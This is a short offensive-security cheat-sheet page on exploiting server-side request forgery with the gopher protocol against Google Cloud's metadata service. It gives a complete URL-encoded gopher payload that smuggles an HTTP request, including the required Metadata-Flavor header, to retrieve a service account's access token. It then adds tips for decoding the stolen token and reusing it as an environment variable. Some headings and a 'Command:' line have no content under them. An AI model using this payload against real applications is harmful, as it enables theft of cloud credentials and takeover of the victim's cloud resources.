SSRF using Gopher protocol
SSRF using Gopher protocol
If we successfully detect a SSRF vulnerability in a web app and the web app is hosted on GCP, we may use specific protocols and URLs to request specific information, depending on the case.
URL Example:
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/<snip>-compute@developer.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250aBreakdown
Protocol and Target: gopher://metadata.google.internal:80/
Crafted Request: GET /computeMetadata/v1/instance/service-accounts/SERVICE_ACCOUNT/token
%2520HTTP%252f%2531%252e%2531
%250AHost:%2520metadata.google.internal
%250AAccept:%2520%252a%252f%252a
%250aMetadata-Flavor:%2520Google
SSRF Payloads
List Service Accounts
Fetch Access Token of the listed Service Account
TIP: The response is HTML encoded so we can select the entire token, right-click it and select Convert selection > HTML > HTML-decode. After that, copy the token to your clipboard and then use it as an environmental variable.
Command:
Last updated